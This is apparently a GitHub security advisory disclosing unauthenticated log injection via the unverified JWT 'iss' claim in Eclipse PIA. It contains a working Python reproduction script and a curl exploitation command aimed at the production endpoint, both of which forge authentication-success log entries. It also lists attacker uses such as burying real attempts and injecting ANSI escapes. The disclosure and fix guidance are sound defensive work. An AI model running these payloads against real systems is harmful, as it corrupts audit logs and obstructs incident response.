Skip to content

Unauthenticated log injection via JWT `iss` claim

Moderate
lukpueh published GHSA-3g7j-3xgm-85mc Jun 29, 2026

Package

eclipse-csi/pia (ghcr.io)

Affected versions

<=v0.2.1

Patched versions

0.3.0

Description

Summary

The /v1/upload/sbom endpoint extracts the iss claim from the attacker-supplied JWT with signature verification disabled, then interpolates that string into three log statements before any validation gate. Because the configured log format ("%(asctime)s - %(name)s - %(levelname)s - %(message)s") renders newlines literally, an unauthenticated attacker can forge log records that are byte-for-byte indistinguishable from PIA's genuine "Successfully authenticated project" message. PIA is an authentication broker whose logs are explicitly relied upon for incident response (DESIGN.md §5.4 lists "Token verifications" and "Errors" as events to log), so the ability to plant fake auth-success entries directly undermines the audit trail the service exists to produce.

Severity

Low

The attacker requires no credentials and no preconditions beyond network reachability of the API. Each request yields three forged lines (one of them perfectly clean) and the attacker can repeat indefinitely. However, the impact is bounded to log integrity: there is no code execution, no auth bypass, no data exfiltration. Structured-logging deployments (JSON-per-line, journald) substantially neutralise the issue. The default plaintext format in main.py:19-22 is what makes it land.

Weakness

CWE-117: Improper Output Neutralization for Logs

Location

File Lines Status
pia/main.py 98 f"Unverified issuer extracted: {unverified_issuer}" — cleanest injection: variable terminates the f-string, so the forged line has no trailing artefact
pia/main.py 106–109 f"Checking if issuer '{unverified_issuer}' is allowed across {N} project(s)" — forged line carries a ' is allowed across N project(s) suffix
pia/main.py 111 f"Issuer {unverified_issuer} not allowed" — forged line carries a not allowed suffix
pia/main.py 19–22 logging.basicConfig(format="%(asctime)s - %(name)s - %(levelname)s - %(message)s") — the sink: plaintext, no newline escaping

Origin

Two layers:

  • 5ff16521 (Lukas Pühringer, 2026-01-14, "Add fully working PIA FastAPI app", PR #2) — initial implementation already contained line 111 (logger.warning(f"Issuer {unverified_issuer} not allowed")). One injection point existed from day one.
  • 95b85da2 (Lukas Pühringer, 2026-03-24, "Add very verbose logging throughout the project", PR #32) — added lines 98 and 106–109. Tripled the injection points and, critically, added line 98 where the variable is at the end of the f-string, producing a forged line with no telltale suffix. The commit message notes: "Before moving to prod, we should reduce the amount of logging statements" — the author flagged the verbosity but not the injection.

Affected Versions

Range Injection points Notes
v0.1.0v0.2.1 (all releases) 1 (line 111) git tag --contains 5ff1652 returns all three tags
> v0.2.1 (current main, unreleased) 3 (lines 98, 106–109, 111) git tag --contains 95b85da returns nothing — verbose-logging commit not yet in any release

Methodology

  1. Mapped the trust boundary: /v1/upload/sbom is the sole authenticated endpoint; the JWT in the Authorization header is the only attacker-controlled input that crosses it before authentication completes.
  2. Traced the JWT lifecycle: main.py:89-93 calls jwt.decode(token, options=dict(verify_signature=False, require=["iss"])). The iss claim is the JWT payload's JSON-decoded value — a Python str that may contain any Unicode codepoint including U+000A.
  3. Searched for sinks consuming unverified_issuer between extraction (line 93) and the first gate (has_issuer() at line 110). Found three logger.info/logger.warning calls.
  4. Confirmed the log format at main.py:19-22 is plaintext with no neutralisation.
  5. Wrote a reproduction (below) and ran it to confirm the forged line is format-indistinguishable from the legitimate message at main.py:137-140.
  6. Checked git history (git log --all --grep="inject" --grep="sanit" --grep="CWE" -i) and git blame for prior art — none found.

Validation

Reproduction script

#!/usr/bin/env python3
"""Reproduction: CWE-117 log injection via unverified JWT `iss` claim."""
import base64, io, json, logging, jwt

# --- ATTACKER: craft JWT with newline-bearing `iss` (signature is junk) ---
INJECTED_ISSUER = (
    "https://token.actions.githubusercontent.com\n"
    "2026-04-13 10:00:00,000 - pia.main - INFO - "
    "Successfully authenticated project victim-project "
    "with issuer https://token.actions.githubusercontent.com"
)
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header  = {"alg": "RS256", "typ": "JWT", "kid": "anything"}
payload = {"iss": INJECTED_ISSUER}
evil_token = f"{b64(header)}.{b64(payload)}.AAAA"  # garbage signature

# --- SERVER: replicate pia/main.py:19-22, 88-111 ---
buf = io.StringIO()
h = logging.StreamHandler(buf)
h.setFormatter(logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s"))
logger = logging.getLogger("pia.main"); logger.addHandler(h); logger.setLevel(logging.INFO)

token = evil_token
unverified_claims = jwt.decode(token, options=dict(verify_signature=False, require=["iss"]))  # main.py:89
unverified_issuer: str = unverified_claims["iss"]                                              # main.py:93
logger.info(f"Unverified issuer extracted: {unverified_issuer}")                               # main.py:98
logger.info(f"Checking if issuer '{unverified_issuer}' is allowed across 5 project(s)")        # main.py:106
# has_issuer() would return False here (string mismatch), so the rejection branch fires:
logger.warning(f"Issuer {unverified_issuer} not allowed")                                      # main.py:111

# --- INSPECT ---
h.flush()
log = buf.getvalue()
print(log)
lines = log.splitlines()
forged = [l for l in lines if "Successfully authenticated project victim-project" in l]
assert len(lines) == 6,  f"3 calls -> 6 lines (got {len(lines)})"
assert len(forged) == 3, f"3 forged entries (got {len(forged)})"
print(f"\n{len(lines)} log lines from 3 calls. {len(forged)} forged auth-success entries.")

Observed output

2026-04-13 08:54:22,337 - pia.main - INFO - Unverified issuer extracted: https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com
2026-04-13 08:54:22,337 - pia.main - INFO - Checking if issuer 'https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com' is allowed across 5 project(s)
2026-04-13 08:54:22,337 - pia.main - WARNING - Issuer https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com not allowed

6 log lines from 3 calls. 3 forged auth-success entries.

Line 2 of the output is a perfect forgery. It has no trailing artefact because main.py:98 places {unverified_issuer} at the end of the f-string. An operator running grep "Successfully authenticated" pia.log would not be able to distinguish it from the genuine entry produced at main.py:137-140.

Mitigations checked and ruled out

  • PyJWT type validation on issrequire=["iss"] only checks presence, not type or content. Confirmed: PyJWT 2.7.0+ returns the raw JSON-decoded value. JSON "foo\nbar" (or "foo\u000abar") becomes Python str with literal \x0a.
  • Pydantic validationunverified_issuer is a plain str extracted from a dict; it never passes through a Pydantic model. The HttpsUrl constraint applies only to operator-supplied Project.issuer, not to the attacker-supplied claim.
  • has_issuer() gate — fires after lines 98 and 106–109. Line 111 is inside the rejection branch, so it fires precisely when the malicious string fails the gate. The gate does not protect any of the three sinks.
  • Logging-handler escapinglogging.StreamHandler with logging.Formatter("%(message)s") performs no neutralisation. %(message)s is record.getMessage() which is the f-string output verbatim.
  • FastAPI / Starlette request middleware — does not touch the Authorization header value or the JWT payload.

Detail

The data flow:

HTTP request
  └─ Authorization: Bearer <attacker JWT>          ← attacker controls every byte
       └─ main.py:83  token = authorization[7:]
            └─ main.py:89  jwt.decode(token, verify_signature=False, require=["iss"])
                 │         ↑ no signature check, no type check, no content check
                 └─ main.py:93  unverified_issuer = unverified_claims["iss"]
                      │         ↑ str with attacker-chosen content incl. \n
                      ├─ main.py:98   logger.info(f"...: {unverified_issuer}")        ← SINK 1
                      ├─ main.py:106  logger.info(f"...'{unverified_issuer}'...")     ← SINK 2
                      ├─ main.py:110  has_issuer(unverified_issuer) → False
                      └─ main.py:111  logger.warning(f"...{unverified_issuer}...")    ← SINK 3
                           └─ main.py:112  _401()  ← request ends with HTTP 401

The has_issuer() check at line 110 performs exact string equality (models.py:46: return issuer == str(self.issuer)). The malicious iss containing \n will never equal a configured HttpsUrl-validated issuer, so the request always terminates at line 112 with HTTP 401 — but not before all three log writes have already executed.

Exploitation

# Build the JWT (header.payload.junksig — signature unchecked at injection point)
HDR=$(printf '{"alg":"RS256","typ":"JWT","kid":"x"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAY=$(printf '{"iss":"https://token.actions.githubusercontent.com\\n2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOKEN="${HDR}.${PAY}.AAAA"

curl -X POST https://pia.eclipse.org/v1/upload/sbom \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"product_name":"x","product_version":"x","bom":"x"}'
# → HTTP 401 {"detail":"Issuer not allowed"}
# → Server log gains 3 forged "Successfully authenticated" entries

The attacker observes only the 401, but the log damage is done. Repeatable at the rate-limit of the reverse proxy (DESIGN.md §8.1 mentions one but does not specify limits).

Use cases an attacker might pursue:

  • Bury a real failed-auth attempt in noise: send 1000 requests with forged success entries before/after the real attempt.
  • Plant a false trail implicating a different Eclipse project during an SBOM-poisoning incident.
  • Inject ANSI escape sequences (\x1b[2J, \x1b[H) to clear or scramble a terminal viewing the log — works on the same path, just substitute the payload.

Fix

Validate the unverified iss against a strict URL pattern (or simply against the configured issuer set) before it touches any log statement — move the has_issuer() gate above line 98, and on rejection log a fixed string rather than the attacker-supplied value. Alternatively, neutralise control characters: unverified_issuer.replace('\n', '\\n').replace('\r', '\\r') or repr(unverified_issuer) before interpolation. The same treatment should be applied to payload.product_name / payload.product_version at line 145–148, which are also attacker-controlled but only reachable post-authentication.

Confidence

Certain: the code path executes as described — the reproduction script runs the exact lines from pia/main.py against the project's pinned PyJWT and produces forged log records. No mocking; this is the actual decode → log flow.

Deployment-dependent: the visibility of the forgery depends on log handling.

  • Vulnerable as-shipped: main.py:19-22 hard-codes a plaintext format. The Dockerfile does not override it. A docker run deployment writing to stdout → file is exposed.
  • Mitigated by: structured-logging shippers that wrap each logging record in JSON (e.g. python-json-logger, fluentd with JSON parser), or journald with SyslogIdentifier per record. These store the multi-line message as a single field; the newline does not start a new record.
  • Partially mitigated by: SIEMs that flag timestamp regression (the forged timestamp 10:00:00 precedes/follows the surrounding genuine entries) — but the attacker can pick a plausible timestamp.

The attacker position required is "can send HTTPS requests to PIA." DESIGN.md §8.1 deploys PIA behind a reverse proxy with TLS termination but does not describe IP allowlisting; the documented clients are GitHub Actions runners and Jenkins instances, both of which originate from broad public IP ranges, so the endpoint is presumably internet-reachable.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-12616

Weaknesses

Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Learn more on MITRE.